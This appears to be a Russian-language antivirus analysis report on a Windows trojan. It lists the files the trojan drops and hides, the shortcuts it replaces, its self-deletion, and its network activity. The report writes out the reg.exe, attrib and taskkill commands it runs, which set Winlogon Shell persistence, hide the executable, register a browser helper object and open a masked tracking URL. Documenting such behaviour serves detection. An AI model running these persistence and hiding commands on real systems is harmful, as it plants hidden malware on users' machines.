Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe,<SYSTEM32>\ssyers.exe'
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im rstray.exe
Изменения в файловой системе
Создает следующие файлы
- <SYSTEM32>\ssyers.dll
- <SYSTEM32>\210.4303.bat
- <SYSTEM32>\ssyers.exe
- %APPDATA%\microsoft\internet explorer\quick launch\internet explorer.lnk
- %HOMEPATH%\desktop\internet explorer.lnk
Присваивает атрибут 'скрытый' для следующих файлов
- <SYSTEM32>\ssyers.exe
Удаляет следующие файлы
- %APPDATA%\microsoft\internet explorer\quick launch\internet explorer.lnk
Подменяет следующие файлы
- %HOMEPATH%\Start Menu\Programs\Internet Explorer.lnk
- %APPDATA%\microsoft\internet explorer\quick launch\internet explorer.lnk
Самоудаляется.
Сетевая активность
Подключается к
- 'localhost':5152
UDP
- DNS ASK 65#.la
Другое
Ищет следующие окна
- ClassName: 'Progman' WindowName: ''
- ClassName: 'SHELLDLL_DefView' WindowName: ''
- ClassName: 'SysListView32' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\ssyers.exe'
- '<SYSTEM32>\cmd.exe' /c <SYSTEM32>\210.4303.bat' (со скрытым окном)
- '<SYSTEM32>\reg.exe' Add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t "REG_SZ" /d "explorer.exe,<SYSTEM32>\ssyers.exe" /f' (со скрытым окном)
- '<SYSTEM32>\reg.exe' Add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{D4884CAF-BF9A-4024-8B19-AD37110112B3}"' (со скрытым окном)
- '<SYSTEM32>\reg.exe' Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t "REG_DWORD" /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\reg.exe' Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t "REG_DWORD" /d "1" /f' (со скрытым окном)
- '%ProgramFiles%\internet explorer\iexplore.exe' "http://www.65#.la/tongji/count.asp?ma###################################################"' (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /f /im rstray.exe' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c <SYSTEM32>\210.4303.bat
- '<SYSTEM32>\ping.exe' 127.1
- '<SYSTEM32>\attrib.exe' +s +h "<SYSTEM32>\ssyers.exe"
- '<SYSTEM32>\reg.exe' Add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t "REG_SZ" /d "explorer.exe,<SYSTEM32>\ssyers.exe" /f
- '<SYSTEM32>\reg.exe' Add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{D4884CAF-BF9A-4024-8B19-AD37110112B3}"
- '<SYSTEM32>\reg.exe' Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t "REG_DWORD" /d "1" /f
- '<SYSTEM32>\reg.exe' Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t "REG_DWORD" /d "1" /f
- '%ProgramFiles%\internet explorer\iexplore.exe' "http://www.65#.la/tongji/count.asp?ma###################################################"
- '<SYSTEM32>\rundll32.exe' "%ProgramFiles%\Microsoft Office\Office12\GrooveUtil.DLL",GetResourceModulePath dzoje2IJrhTUMtvVbdsPawFEG304mqrV
